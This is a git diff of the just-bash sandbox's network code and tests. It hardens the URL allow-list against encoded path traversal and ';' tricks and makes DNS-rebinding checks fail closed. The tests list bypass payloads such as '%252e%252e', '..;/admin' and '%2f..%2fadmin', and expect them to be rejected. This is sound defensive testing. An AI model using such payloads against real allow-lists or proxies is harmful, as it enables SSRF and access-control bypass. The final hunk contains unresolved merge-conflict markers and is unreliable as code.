+    maxCsvCells: userLimits.maxCsvCells ?? defaults.maxCsvCells,
+    maxWorkUnits: userLimits.maxWorkUnits ?? defaults.maxWorkUnits,
+    maxTraversalEntries:
+      userLimits.maxTraversalEntries ?? defaults.maxTraversalEntries,
+    maxTraversalDepth:
+      userLimits.maxTraversalDepth ?? defaults.maxTraversalDepth,
+    maxTraversalWork: userLimits.maxTraversalWork ?? defaults.maxTraversalWork,
+    maxLiveBytes: userLimits.maxLiveBytes ?? defaults.maxLiveBytes,
+    maxInputBytes: userLimits.maxInputBytes ?? defaults.maxInputBytes,
+    maxFileSystemBytes:
+      userLimits.maxFileSystemBytes ?? defaults.maxFileSystemBytes,
+    maxDatabaseBytes: userLimits.maxDatabaseBytes ?? defaults.maxDatabaseBytes,
+    maxDatabaseResultBytes:
+      userLimits.maxDatabaseResultBytes ?? defaults.maxDatabaseResultBytes,
+    maxArchiveBytes: userLimits.maxArchiveBytes ?? defaults.maxArchiveBytes,
+    maxArchiveCompressedBytes:
+      userLimits.maxArchiveCompressedBytes ??
+      defaults.maxArchiveCompressedBytes,
+    maxArchiveEntryBytes:
+      userLimits.maxArchiveEntryBytes ?? defaults.maxArchiveEntryBytes,
+    maxArchiveEntries:
+      userLimits.maxArchiveEntries ?? defaults.maxArchiveEntries,
+    maxWorkerMessageBytes:
+      userLimits.maxWorkerMessageBytes ?? defaults.maxWorkerMessageBytes,
+    maxExecutionTimeMs:
+      userLimits.maxExecutionTimeMs ?? defaults.maxExecutionTimeMs,
+    maxExtensionCleanupTimeMs:
+      userLimits.maxExtensionCleanupTimeMs ??
+      defaults.maxExtensionCleanupTimeMs,
     maxSqliteTimeoutMs:
-      userLimits.maxSqliteTimeoutMs ?? DEFAULT_LIMITS.maxSqliteTimeoutMs,
+      userLimits.maxSqliteTimeoutMs ?? defaults.maxSqliteTimeoutMs,
     maxPythonTimeoutMs:
-      userLimits.maxPythonTimeoutMs ?? DEFAULT_LIMITS.maxPythonTimeoutMs,
-    maxJsTimeoutMs: userLimits.maxJsTimeoutMs ?? DEFAULT_LIMITS.maxJsTimeoutMs,
+      userLimits.maxPythonTimeoutMs ?? defaults.maxPythonTimeoutMs,
+    maxJsTimeoutMs: userLimits.maxJsTimeoutMs ?? defaults.maxJsTimeoutMs,
     maxGlobOperations:
-      userLimits.maxGlobOperations ?? DEFAULT_LIMITS.maxGlobOperations,
-    maxStringLength:
-      userLimits.maxStringLength ?? DEFAULT_LIMITS.maxStringLength,
-    maxArrayElements:
-      userLimits.maxArrayElements ?? DEFAULT_LIMITS.maxArrayElements,
-    maxHeredocSize: userLimits.maxHeredocSize ?? DEFAULT_LIMITS.maxHeredocSize,
+      userLimits.maxGlobOperations ?? defaults.maxGlobOperations,
+    maxStringLength: userLimits.maxStringLength ?? defaults.maxStringLength,
+    maxArrayElements: userLimits.maxArrayElements ?? defaults.maxArrayElements,
+    maxHeredocSize: userLimits.maxHeredocSize ?? defaults.maxHeredocSize,
     maxSubstitutionDepth:
-      userLimits.maxSubstitutionDepth ?? DEFAULT_LIMITS.maxSubstitutionDepth,
+      userLimits.maxSubstitutionDepth ?? defaults.maxSubstitutionDepth,
     maxBraceExpansionResults:
-      userLimits.maxBraceExpansionResults ??
-      DEFAULT_LIMITS.maxBraceExpansionResults,
-    maxOutputSize: userLimits.maxOutputSize ?? DEFAULT_LIMITS.maxOutputSize,
+      userLimits.maxBraceExpansionResults ?? defaults.maxBraceExpansionResults,
+    maxOutputSize: userLimits.maxOutputSize ?? defaults.maxOutputSize,
     maxFileDescriptors:
-      userLimits.maxFileDescriptors ?? DEFAULT_LIMITS.maxFileDescriptors,
-    maxSourceDepth: userLimits.maxSourceDepth ?? DEFAULT_LIMITS.maxSourceDepth,
+      userLimits.maxFileDescriptors ?? defaults.maxFileDescriptors,
+    maxSourceDepth: userLimits.maxSourceDepth ?? defaults.maxSourceDepth,
   };
+
+  for (const key of Object.keys(resolved) as (keyof ExecutionLimits)[]) {
+    const value = resolved[key];
+    if (value === Number.POSITIVE_INFINITY) {
+      continue;
+    }
+    if (!Number.isSafeInteger(value) || value < 0) {
+      throw new RangeError(
+        `${key} must be a non-negative safe integer or positive Infinity`,
+      );
+    }
+  }
+
+  return resolved;
 }
diff --git a/packages/just-bash/src/network/allow-list.ts b/packages/just-bash/src/network/allow-list.ts
index c091360f..07ab48c3 100644
--- a/packages/just-bash/src/network/allow-list.ts
+++ b/packages/just-bash/src/network/allow-list.ts
@@ -47,13 +47,42 @@ export function normalizeAllowListEntry(entry: string): {
   };
 }
 
-function hasAmbiguousPathSeparators(pathname: string): boolean {
-  if (pathname.includes("\\")) {
-    return true;
+const MAX_PATH_DECODE_PASSES = 3;
+
+/**
+ * Reject path forms whose meaning can change after common proxy or
+ * application-server canonicalization. Path-scoped entries are authority
+ * boundaries, so invalid escapes and nested encodings fail closed.
+ */
+function hasAmbiguousPathSyntax(pathname: string): boolean {
+  let candidate = pathname;
+
+  for (let pass = 0; pass < MAX_PATH_DECODE_PASSES; pass++) {
+    if (candidate.includes("\\") || candidate.includes(";")) return true;
+    if (/%(?![0-9a-f]{2})/i.test(candidate)) return true;
+
+    const normalized = candidate.toLowerCase();
+    if (
+      normalized.includes("%2f") ||
+      normalized.includes("%2e") ||
+      normalized.includes("%5c") ||
+      normalized.includes("%3b")
+    ) {
+      return true;
+    }
+
+    let decoded: string;
+    try {
+      decoded = decodeURIComponent(candidate);
+    } catch {
+      return true;
+    }
+    if (decoded === candidate) return false;
+    candidate = decoded;
   }
 
-  const normalized = pathname.toLowerCase();
-  return normalized.includes("%2f") || normalized.includes("%5c");
+  // Do not let an upstream with a deeper decode stack reinterpret a path.
+  return candidate.includes("%");
 }
 
 function matchesPathPrefix(pathname: string, pathPrefix: string): boolean {
@@ -103,7 +132,7 @@ export function matchesAllowListEntry(
   if (
     normalizedEntry.pathPrefix !== "/" &&
     normalizedEntry.pathPrefix !== "" &&
-    hasAmbiguousPathSeparators(parsedUrl.pathname)
+    hasAmbiguousPathSyntax(parsedUrl.pathname)
   ) {
     return false;
   }
@@ -443,7 +472,7 @@ export function validateAllowList(
     if (
       url.pathname !== "/" &&
       url.pathname !== "" &&
-      hasAmbiguousPathSeparators(url.pathname)
+      hasAmbiguousPathSyntax(url.pathname)
     ) {
       errors.push(
         `Allow-list entry contains ambiguous path separators: "${entry}"`,
diff --git a/packages/just-bash/src/network/allow-list/bypass.test.ts b/packages/just-bash/src/network/allow-list/bypass.test.ts
index d1152594..ebed8638 100644
--- a/packages/just-bash/src/network/allow-list/bypass.test.ts
+++ b/packages/just-bash/src/network/allow-list/bypass.test.ts
@@ -146,20 +146,14 @@ describe("allow-list bypass attempts", () => {
       await expectBlocked(env, "https://api.example.com/v1/%2e%2e/v2/users");
     });
 
-    it("handles double-encoded path traversal - encoded dots stay encoded", async () => {
+    it("blocks double-encoded path traversal", async () => {
       const env = createBashEnvAdapter({
         network: { allowedUrlPrefixes: ["https://api.example.com/v1/"] },
       });
-      // %252e = %2e after single decode, which stays in path as literal %2e
-      // The path /v1/%252e%252e/v2/users starts with /v1/ so it's allowed
-      // This is correct - the encoded chars are not interpreted as traversal
-      const result = await env.exec(
-        'curl "https://api.example.com/v1/%252e%252e/v2/users"',
+      await expectBlocked(
+        env,
+        "https://api.example.com/v1/%252e%252e/v2/users",
       );
-      // Should pass allow-list (path starts with /v1/), returns 404 from mock
-      expect(result.exitCode).toBe(0);
-      expect(result.stdout).toBe("Not Found");
-      expect(result.stderr).toBe("");
     });
 
     it("blocks backslash path traversal", async () => {
diff --git a/packages/just-bash/src/network/allow-list/dns-rebinding-integration.test.ts b/packages/just-bash/src/network/allow-list/dns-rebinding-integration.test.ts
index 9c516acc..382c4fcd 100644
--- a/packages/just-bash/src/network/allow-list/dns-rebinding-integration.test.ts
+++ b/packages/just-bash/src/network/allow-list/dns-rebinding-integration.test.ts
@@ -87,9 +87,7 @@ describe("DNS rebinding integration (real DNS)", () => {
     expect(result.stderr).toBe("");
   });
 
-  it("ENOTFOUND domain passes DNS check (no rebinding risk)", async () => {
-    // When DNS can't resolve a domain, there's no rebinding risk.
-    // The request should proceed and fail at the fetch level naturally.
+  it("ENOTFOUND domain fails closed before fetch", async () => {
     const env = createBashEnvAdapter({
       network: {
         allowedUrlPrefixes: [
@@ -99,27 +97,35 @@ describe("DNS rebinding integration (real DNS)", () => {
       },
     });
 
-    // DNS returns ENOTFOUND → allowed through → reaches mock fetch → 404
+    const callsBefore = mockFetch.mock.calls.length;
     const result = await env.exec(
       'curl "https://this-domain-does-not-exist-xyz123.example/data"',
     );
-    expect(result.exitCode).toBe(0);
-    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(7);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "curl: (7) Network access denied: DNS resolution failed for private IP check: https://this-domain-does-not-exist-xyz123.example/data\n",
+    );
+    expect(mockFetch.mock.calls).toHaveLength(callsBefore);
   });
 
   it("denyPrivateRanges + allow-list works with real DNS", async () => {
     // Verify the combination of allow-list + denyPrivateRanges + real DNS
-    // doesn't break normal operation. Uses a domain that will ENOTFOUND
-    // (passes DNS check) and is in the allow-list.
+    // doesn't break normal operation for a public domain.
+    try {
+      await realLookupAll("example.com");
+    } catch {
+      return;
+    }
+
     const env = createBashEnvAdapter({
       network: {
-        allowedUrlPrefixes: ["https://api.example.com"],
+        allowedUrlPrefixes: ["https://example.com"],
         denyPrivateRanges: true,
       },
     });
 
-    // api.example.com likely ENOTFOUND → passes DNS check → allow-list OK
-    const result = await env.exec('curl "https://api.example.com/data"');
+    const result = await env.exec('curl "https://example.com/data"');
     expect(result.exitCode).toBe(0);
     expect(result.stderr).toBe("");
   });
diff --git a/packages/just-bash/src/network/allow-list/dns-rebinding.test.ts b/packages/just-bash/src/network/allow-list/dns-rebinding.test.ts
index 1bac18c7..7933ef07 100644
--- a/packages/just-bash/src/network/allow-list/dns-rebinding.test.ts
+++ b/packages/just-bash/src/network/allow-list/dns-rebinding.test.ts
@@ -6,6 +6,7 @@
  */
 
 import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
+import { createSecureFetch } from "../fetch.js";
 import type { DnsLookupResult } from "../types.js";
 import {
   createBashEnvAdapter,
@@ -164,7 +165,7 @@ describe("DNS rebinding SSRF protection", () => {
       await expectBlockedDnsFailure(env, "https://timeout.example.com/data");
     });
 
-    it("allows ENOTFOUND through (domain does not exist)", async () => {
+    it("blocks ENOTFOUND without reaching fetch", async () => {
       const env = createBashEnvAdapter({
         network: {
           dangerouslyAllowFullInternetAccess: true,
@@ -173,13 +174,61 @@ describe("DNS rebinding SSRF protection", () => {
         },
       });
 
-      // ENOTFOUND means domain doesn't exist — can't resolve to private IP
-      // Request proceeds to fetch (which would fail naturally)
-      await expectAllowed(
-        env,
-        "https://api.example.com/data",
-        MOCK_SUCCESS_BODY,
+      const callsBefore = mockFetch.mock.calls.length;
+      await expectBlockedDnsFailure(env, "https://api.example.com/data");
+      expect(mockFetch.mock.calls).toHaveLength(callsBefore);
+    });
+
+    it("blocks ENODATA without reaching fetch", async () => {
+      const env = createBashEnvAdapter({
+        network: {
+          dangerouslyAllowFullInternetAccess: true,
+          denyPrivateRanges: true,
+          _dnsResolve: failingResolver("ENODATA"),
+        },
+      });
+
+      const callsBefore = mockFetch.mock.calls.length;
+      await expectBlockedDnsFailure(env, "https://api.example.com/data");
+      expect(mockFetch.mock.calls).toHaveLength(callsBefore);
+    });
+
+    it("blocks an empty DNS answer without reaching fetch", async () => {
+      const env = createBashEnvAdapter({
+        network: {
+          dangerouslyAllowFullInternetAccess: true,
+          denyPrivateRanges: true,
+          _dnsResolve: fakeResolver([]),
+        },
+      });
+
+      const callsBefore = mockFetch.mock.calls.length;
+      const result = await env.exec('curl "https://api.example.com/data"');
+      expect(result.exitCode).toBe(7);
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toBe(
+        "curl: (7) Network access denied: DNS resolution returned no addresses for private IP check: https://api.example.com/data\n",
+      );
+      expect(mockFetch.mock.calls).toHaveLength(callsBefore);
+    });
+
+    it.each<DnsLookupResult>([
+      { address: "not-an-ip", family: 4 },
+      { address: "93.184.216.34", family: 6 },
+      { address: "2001:4860:4860::8888", family: 4 },
+      { address: "93.184.216.34", family: 0 },
+    ])("blocks malformed DNS address metadata: %j", async (answer) => {
+      const secureFetch = createSecureFetch({
+        dangerouslyAllowFullInternetAccess: true,
+        denyPrivateRanges: true,
+        _dnsResolve: fakeResolver([answer]),
+      });
+
+      const callsBefore = mockFetch.mock.calls.length;
+      await expect(secureFetch("https://api.example.com/data")).rejects.toThrow(
+        "Network access denied: DNS returned an invalid address for private IP check",
       );
+      expect(mockFetch.mock.calls).toHaveLength(callsBefore);
     });
   });
 
diff --git a/packages/just-bash/src/network/allow-list/e2e.test.ts b/packages/just-bash/src/network/allow-list/e2e.test.ts
index 0f5beab2..ce405eeb 100644
--- a/packages/just-bash/src/network/allow-list/e2e.test.ts
+++ b/packages/just-bash/src/network/allow-list/e2e.test.ts
@@ -375,6 +375,7 @@ function runAllowListTests(name: string, createAdapter: AdapterFactory) {
           network: {
             dangerouslyAllowFullInternetAccess: true,
             denyPrivateRanges: true,
+            _dnsResolve: async () => [{ address: "93.184.216.34", family: 4 }],
           },
         });
 
diff --git a/packages/just-bash/src/network/allow-list/path-canonicalization.test.ts b/packages/just-bash/src/network/allow-list/path-canonicalization.test.ts
new file mode 100644
index 00000000..28c734f3
--- /dev/null
+++ b/packages/just-bash/src/network/allow-list/path-canonicalization.test.ts
@@ -0,0 +1,58 @@
+import { describe, expect, it } from "vitest";
+import { matchesAllowListEntry, validateAllowList } from "../allow-list.js";
+
+describe("path-scoped allow-list canonicalization", () => {
+  const entry = "https://api.example.com/safe/";
+
+  it.each([
+    "/safe/item;admin=true",
+    "/safe/..;/admin",
+    "/safe/item%3badmin=true",
+    "/safe/item%3Badmin=true",
+    "/safe/item%253badmin=true",
+    "/safe/item%25253badmin=true",
+    "/safe/item%2f..%2fadmin",
+    "/safe/item%252f..%252fadmin",
+    "/safe/%2e%2e/admin",
+    "/safe/%2E%2e/admin",
+    "/safe/%252e%252e/admin",
+    "/safe/%25252e%25252e/admin",
+    "/safe/%252f%252e%252e%252fadmin",
+    "/safe/item%5c..%5cadmin",
+    "/safe/item%zz",
+    "/safe/item%",
+  ])("rejects ambiguous effective path %s", (pathname) => {
+    expect(
+      matchesAllowListEntry(`https://api.example.com${pathname}`, entry),
+    ).toBe(false);
+  });
+
+  it.each([
+    "/safe/",
+    "/safe/item",
+    "/safe/file%20name.txt",
+    "/safe/report~latest",
+  ])("allows an ordinary path %s", (pathname) => {
+    expect(
+      matchesAllowListEntry(`https://api.example.com${pathname}`, entry),
+    ).toBe(true);
+  });
+
+  it("preserves documented origin-only semantics", () => {
+    expect(
+      matchesAllowListEntry(
+        "https://api.example.com/any;matrix=value",
+        "https://api.example.com",
+      ),
+    ).toBe(true);
+  });
+
+  it.each([
+    "https://api.example.com/safe;matrix=value",
+    "https://api.example.com/safe%3bmatrix=value",
+    "https://api.example.com/safe%253bmatrix=value",
+    "https://api.example.com/safe%zz",
+  ])("rejects ambiguous path-scoped configuration %s", (configuredEntry) => {
+    expect(validateAllowList([configuredEntry])).toHaveLength(1);
+  });
+});
diff --git a/packages/just-bash/src/network/allow-list/shared.ts b/packages/just-bash/src/network/allow-list/shared.ts
index a5080146..fb345138 100644
--- a/packages/just-bash/src/network/allow-list/shared.ts
+++ b/packages/just-bash/src/network/allow-list/shared.ts
@@ -121,11 +121,31 @@ export interface EnvAdapter {
   readFile(path: string): Promise<string>;
 }
 
+function withMockConnectionOwner(
+  network: BashOptions["network"],
+): BashOptions["network"] {
+  if (!network?.denyPrivateRanges || network._createConnectionOwner) {
+    return network;
+  }
+  return {
+    ...network,
+    // These suites mock global fetch. Keep the reviewed-address owner
+    // boundary explicit instead of falling through to the real network.
+    _createConnectionOwner: async () => ({
+      fetch: async (url: string, init: RequestInit) => global.fetch(url, init),
+      async close() {},
+    }),
+  };
+}
+
 /**
  * Creates an adapter for BashEnv
  */
 export function createBashEnvAdapter(options: BashOptions): EnvAdapter {
-  const env = new Bash({ ...options });
+  const env = new Bash({
+    ...options,
+    network: withMockConnectionOwner(options.network),
+  });
   return {
     exec: (cmd) => env.exec(cmd),
     readFile: (path) => env.readFile(path),
@@ -138,7 +158,9 @@ export function createBashEnvAdapter(options: BashOptions): EnvAdapter {
 export async function createSandboxAdapter(
   options: BashOptions,
 ): Promise<EnvAdapter> {
-  const sandbox = await Sandbox.create({ network: options.network });
+  const sandbox = await Sandbox.create({
+    network: withMockConnectionOwner(options.network),
+  });
   return {
     exec: async (cmd) => {
       const command = await sandbox.runCommand(cmd);
diff --git a/packages/just-bash/src/network/allow-list/unit.test.ts b/packages/just-bash/src/network/allow-list/unit.test.ts
index f5c23eb0..90c3db51 100644
--- a/packages/just-bash/src/network/allow-list/unit.test.ts
+++ b/packages/just-bash/src/network/allow-list/unit.test.ts
@@ -483,16 +483,15 @@ describe("security scenarios", () => {
       ).toBe(false);
     });
 
-    it("handles double-encoded characters correctly", () => {
+    it("rejects double-encoded dot traversal", () => {
       const allowedUrlPrefixes = ["https://example.com/safe/"];
       // %252e%252e = double-encoded ..
-      // The URL is taken as-is after URL parsing
       expect(
         isUrlAllowed(
           "https://example.com/safe/%252e%252e/unsafe",
           allowedUrlPrefixes,
         ),
-      ).toBe(true); // This stays under /safe/ path
+      ).toBe(false);
     });
   });
 
diff --git a/packages/just-bash/src/network/dns-pin-fetch.test.ts b/packages/just-bash/src/network/dns-pin-fetch.test.ts
index e73375bf..5a692faf 100644
--- a/packages/just-bash/src/network/dns-pin-fetch.test.ts
+++ b/packages/just-bash/src/network/dns-pin-fetch.test.ts
@@ -1,130 +1,262 @@
-/**
- * End-to-end test that secureFetch pins DNS resolution at the actual
- * connection layer to the address validated at preflight.
- *
- * The CRITICAL DNS rebinding finding said the preflight DNS lookup
- * (in checkAllowed) and the connect-time DNS lookup (inside undici
- * under globalThis.fetch) were independent, so an attacker controlling
- * authoritative DNS could return a public IP at preflight and 127.0.0.1
- * at connect time. The fix wraps the actual fetch in `pinDns(...)`,
- * which intercepts `dns.lookup` for the validated hostname so that
- * undici receives the pre-validated IP.
- *
- * To prove the fix engages, we install a stub `globalThis.fetch` that —
- * inside its body — calls `dns.lookup` for the same hostname. If pinning
- * is active, the lookup must return the pinned IP, NOT what real DNS
- * (or the test default) would return.
- */
-import dns from "node:dns";
-import { afterEach, describe, expect, it } from "vitest";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+  DnsPinningUnavailableError,
+  type PinnedAddress,
+  type PinnedConnectionOwnerFactory,
+} from "./dns-pin.js";
 import { createSecureFetch } from "./fetch.js";
 
-const originalFetch: typeof globalThis.fetch = globalThis.fetch;
+const originalFetch = globalThis.fetch;
 
 afterEach(() => {
   globalThis.fetch = originalFetch;
 });
 
-function lookupAll(
-  hostname: string,
-): Promise<{ address: string; family: number }[]> {
-  return new Promise((resolve, reject) => {
-    dns.lookup(hostname, { all: true }, (err, addresses) => {
-      if (err) reject(err);
-      else resolve(addresses as { address: string; family: number }[]);
-    });
-  });
+function fakeOwners(
+  responder: (
+    url: string,
+    init: RequestInit,
+    pin: PinnedAddress,
+    ownerId: number,
+  ) => Promise<Response> | Response,
+): {
+  factory: PinnedConnectionOwnerFactory;
+  pins: PinnedAddress[];
+  closed: number[];
+} {
+  const pins: PinnedAddress[] = [];
+  const closed: number[] = [];
+  const factory: PinnedConnectionOwnerFactory = async (pin) => {
+    const ownerId = pins.push(pin);
+    return {
+      fetch: async (url, init) => responder(url, init, pin, ownerId),
+      async close() {
+        closed.push(ownerId);
+      },
+    };
+  };
+  return { factory, pins, closed };
 }
 
-describe("secureFetch DNS pinning", () => {
-  it("pins dns.lookup inside fetch to the address validated at preflight", async () => {
-    const seen: { address: string; family: number }[][] = [];
-    globalThis.fetch = (async () => {
-      // Connect-time resolution path: this is what undici would do.
-      // With pinning, the lookup must return the validated address even
-      // though no real DNS server resolves "attacker.example".
-      seen.push(await lookupAll("attacker.example"));
-      return new Response("ok", { status: 200 });
-    }) as typeof fetch;
+function publicDns(address = "93.184.216.34") {
+  return async () => [{ address, family: 4 as const }];
+}
 
+describe("secureFetch request-owned connection binding", () => {
+  it("does not reuse a pre-populated global origin pool", async () => {
+    const globalFetch = vi.fn(async () => new Response("wrong pool"));
+    globalThis.fetch = globalFetch as typeof fetch;
+    const owners = fakeOwners(
+      async () => new Response("bound", { status: 200 }),
+    );
     const secureFetch = createSecureFetch({
       dangerouslyAllowFullInternetAccess: true,
       denyPrivateRanges: true,
-      // Preflight returns a public IP (passes private-range check).
-      // Pinning must use this exact address at connect time.
-      _dnsResolve: async () => [{ address: "93.184.216.34", family: 4 }],
+      _dnsResolve: publicDns(),
+      _createConnectionOwner: owners.factory,
     });
 
-    const result = await secureFetch("https://attacker.example/path");
-    expect(result.status).toBe(200);
-    expect(seen).toEqual([[{ address: "93.184.216.34", family: 4 }]]);
-    // sanity check: 93.184.216.34 is example.com — definitely not what real
-    // DNS would return for "attacker.example", proving pinning is engaged.
-  });
+    const result = await secureFetch("https://same-origin.example/data");
 
-  it("does not pin when denyPrivateRanges is off (no preflight DNS validation)", async () => {
-    let lookupErr: NodeJS.ErrnoException | null = null;
-    globalThis.fetch = (async () => {
-      // No pinning context — dns.lookup of an invalid host should
-      // fall through to the real resolver and produce ENOTFOUND.
-      try {
-        await lookupAll("definitely-not-a-real-host.invalid");
-      } catch (e) {
-        lookupErr = e as NodeJS.ErrnoException;
-      }
-      return new Response("ok", { status: 200 });
-    }) as typeof fetch;
+    expect(new TextDecoder().decode(result.body)).toBe("bound");
+    expect(globalFetch).not.toHaveBeenCalled();
+    expect(owners.pins).toEqual([
+      {
+        hostname: "same-origin.example",
+        address: "93.184.216.34",
+        family: 4,
+      },
+    ]);
+    expect(owners.closed).toEqual([1]);
+  });
 
+  it("keeps concurrent pins for the same hostname in separate owners", async () => {
+    let resolution = 0;
+    const owners = fakeOwners(
+      async (_url, _init, pin) => new Response(pin.address),
+    );
     const secureFetch = createSecureFetch({
       dangerouslyAllowFullInternetAccess: true,
-      denyPrivateRanges: false,
+      denyPrivateRanges: true,
+      _dnsResolve: async () => [
+        {
+          address: ++resolution === 1 ? "1.1.1.1" : "8.8.8.8",
+          family: 4,
+        },
+      ],
+      _createConnectionOwner: owners.factory,
     });
 
-    const result = await secureFetch(
-      "https://definitely-not-a-real-host.invalid/x",
-    );
-    expect(result.status).toBe(200);
-    expect(lookupErr).not.toBeNull();
-    expect(lookupErr).toMatchObject({ code: "ENOTFOUND" });
+    const results = await Promise.all([
+      secureFetch("https://concurrent.example/first"),
+      secureFetch("https://concurrent.example/second"),
+    ]);
+
+    expect(
+      results.map((result) => new TextDecoder().decode(result.body)),
+    ).toEqual(["1.1.1.1", "8.8.8.8"]);
+    expect(owners.pins.map((pin) => pin.address)).toEqual([
+      "1.1.1.1",
+      "8.8.8.8",
+    ]);
+    expect(owners.closed.sort()).toEqual([1, 2]);
   });
 
-  it("re-pins on redirect to a different host", async () => {
-    const seen: { hostname: string; address: string; family: number }[] = [];
-    let firstCall = true;
-    globalThis.fetch = (async (url: string | URL | Request) => {
-      const u = new URL(typeof url === "string" ? url : url.toString());
-      const addrs = await lookupAll(u.hostname);
-      seen.push({
-        hostname: u.hostname,
-        address: addrs[0].address,
-        family: addrs[0].family,
-      });
-      if (firstCall) {
-        firstCall = false;
+  it("creates and disposes a new bound owner for every redirect hop", async () => {
+    const owners = fakeOwners(async (url, _init, pin) => {
+      if (url.includes("first.example")) {
         return new Response("", {
           status: 302,
           headers: { location: "https://second.example/landing" },
         });
       }
-      return new Response("ok", { status: 200 });
-    }) as typeof fetch;
-
+      return new Response(pin.address);
+    });
     const secureFetch = createSecureFetch({
       allowedUrlPrefixes: ["https://first.example", "https://second.example"],
       denyPrivateRanges: true,
-      _dnsResolve: async (hostname: string) => {
-        if (hostname === "first.example") {
-          return [{ address: "8.8.8.8", family: 4 }];
-        }
-        return [{ address: "1.1.1.1", family: 4 }];
-      },
+      _dnsResolve: async (hostname) => [
+        {
+          address: hostname === "first.example" ? "8.8.8.8" : "1.1.1.1",
+          family: 4,
+        },
+      ],
+      _createConnectionOwner: owners.factory,
     });
 
     const result = await secureFetch("https://first.example/start");
-    expect(result.status).toBe(200);
-    expect(seen).toEqual([
-      { hostname: "first.example", address: "8.8.8.8", family: 4 },
-      { hostname: "second.example", address: "1.1.1.1", family: 4 },
+
+    expect(new TextDecoder().decode(result.body)).toBe("1.1.1.1");
+    expect(owners.pins.map((pin) => pin.address)).toEqual([
+      "8.8.8.8",
+      "1.1.1.1",
     ]);
+    expect(owners.closed).toEqual([1, 2]);
+  });
+
+  it("fails closed before transport use when binding is unavailable", async () => {
+    const transport = vi.fn();
+    const secureFetch = createSecureFetch({
+      dangerouslyAllowFullInternetAccess: true,
+      denyPrivateRanges: true,
+      _dnsResolve: publicDns(),
+      _createConnectionOwner: async () => {
+        throw new DnsPinningUnavailableError();
+      },
+    });
+    globalThis.fetch = transport as typeof fetch;
+
+    await expect(secureFetch("https://attacker.example/path")).rejects.toThrow(
+      "Network access denied: DNS pinning unavailable for private IP enforcement",
+    );
+    expect(transport).not.toHaveBeenCalled();
+  });
+
+  it("uses one cumulative deadline across slow redirect hops", async () => {
+    let calls = 0;
+    const owners = fakeOwners(async (_url, init) => {
+      calls++;
+      await new Promise<void>((resolve, reject) => {
+        const id = setTimeout(resolve, 20);
+        init.signal?.addEventListener(
+          "abort",
+          () => {
+            clearTimeout(id);
+            reject(init.signal?.reason);
+          },
+          { once: true },
+        );
+      });
+      return new Response("", {
+        status: 302,
+        headers: { location: `/hop-${calls}` },
+      });
+    });
+    const secureFetch = createSecureFetch({
+      dangerouslyAllowFullInternetAccess: true,
+      denyPrivateRanges: true,
+      timeoutMs: 35,
+      _dnsResolve: publicDns(),
+      _createConnectionOwner: owners.factory,
+    });
+
+    await expect(
+      secureFetch("https://slow.example/start"),
+    ).rejects.toMatchObject({ name: "AbortError" });
+    expect(calls).toBe(2);
+    expect(owners.closed).toEqual([1, 2]);
+  });
+
+  it("parent abort closes the live owner and prevents later effects", async () => {
+    const controller = new AbortController();
+    let laterEffect = false;
+    let requestSignal: AbortSignal | undefined;
+    const owners = fakeOwners(async (_url, init) => {
+      requestSignal = init.signal ?? undefined;
+      return await new Promise<Response>((resolve, reject) => {
+        const id = setTimeout(() => {
+          laterEffect = true;
+          resolve(new Response("late"));
+        }, 40);
+        init.signal?.addEventListener(
+          "abort",
+          () => {
+            clearTimeout(id);
+            reject(init.signal?.reason);
+          },
+          { once: true },
+        );
+      });
+    });
+    const secureFetch = createSecureFetch({
+      dangerouslyAllowFullInternetAccess: true,
+      denyPrivateRanges: true,
+      _dnsResolve: publicDns(),
+      _createConnectionOwner: owners.factory,
+    });
+
+    const pending = secureFetch("https://abort.example/slow", {
+      signal: controller.signal,
+    });
+    setTimeout(() => controller.abort(new Error("parent stopped")), 5);
+
+    await expect(pending).rejects.toThrow("parent stopped");
+    await new Promise((resolve) => setTimeout(resolve, 50));
+    expect(requestSignal?.aborted).toBe(true);
+    expect(owners.closed).toEqual([1]);
+    expect(laterEffect).toBe(false);
+  });
+
+  it("closes an owner whose factory fulfills after parent abort", async () => {
+    const controller = new AbortController();
+    let fetchCalled = false;
+    let closeCalls = 0;
+    const secureFetch = createSecureFetch({
+      dangerouslyAllowFullInternetAccess: true,
+      denyPrivateRanges: true,
+      _dnsResolve: publicDns(),
+      _createConnectionOwner: async () => {
+        await new Promise((resolve) => setTimeout(resolve, 25));
+        return {
+          async fetch() {
+            fetchCalled = true;
+            return new Response("late");
+          },
+          async close() {
+            closeCalls++;
+          },
+        };
+      },
+    });
+
+    const pending = secureFetch("https://late-owner.example/slow", {
+      signal: controller.signal,
+    });
+    setTimeout(() => controller.abort(new Error("parent stopped")), 5);
+
+    await expect(pending).rejects.toThrow("parent stopped");
+    await new Promise((resolve) => setTimeout(resolve, 40));
+    expect(fetchCalled).toBe(false);
+    expect(closeCalls).toBe(1);
   });
 });
diff --git a/packages/just-bash/src/network/dns-pin.test.ts b/packages/just-bash/src/network/dns-pin.test.ts
index de5f85c6..58743784 100644
--- a/packages/just-bash/src/network/dns-pin.test.ts
+++ b/packages/just-bash/src/network/dns-pin.test.ts
@@ -1,20 +1,17 @@
-/**
- * Unit tests for the dns-pin AsyncLocalStorage-scoped dns.lookup
- * interception used to defeat DNS rebinding attacks.
- *
- * The fix replaces only the resolution that fetch's underlying socket
- * does at connect time, so calls outside the pinning context must be
- * unaffected.
- */
 import dns from "node:dns";
 import { describe, expect, it } from "vitest";
-import { _ensureDnsHookInstalled, pinDns } from "./dns-pin.js";
+import { _createPinnedLookup, createPinnedConnectionOwner } from "./dns-pin.js";
 
-function lookupCb(
+function lookup(
+  pin: { hostname: string; address: string; family: 4 | 6 },
   hostname: string,
-  options: dns.LookupOptions = {},
-): Promise<{ address: string; family: number }[]> {
+  options: { family?: number; all?: boolean } = {},
+): Promise<{
+  address?: string | { address: string; family: number }[];
+  family?: number;
+}> {
   return new Promise((resolve, reject) => {
+<<<<<<< HEAD
     dns.lookup(hostname, { all: true, ...options }, (err, addresses) => {
       if (err) reject(err);
       else resolve(addresses as { address: string; family: number }[]);
@@ -30,10 +27,16 @@ function lookupSingle(
     dns.lookup(hostname, { ...options, all: false }, (err, address, family) => {
       if (err) reject(err);
       else resolve({ address: address as string, family });
+=======
+    _createPinnedLookup(pin)(hostname, options, (error, address, family) => {
+      if (error) reject(error);
+      else resolve({ address, family });
+>>>>>>> @just-bash/executor@3.0.0
     });
   });
 }
 
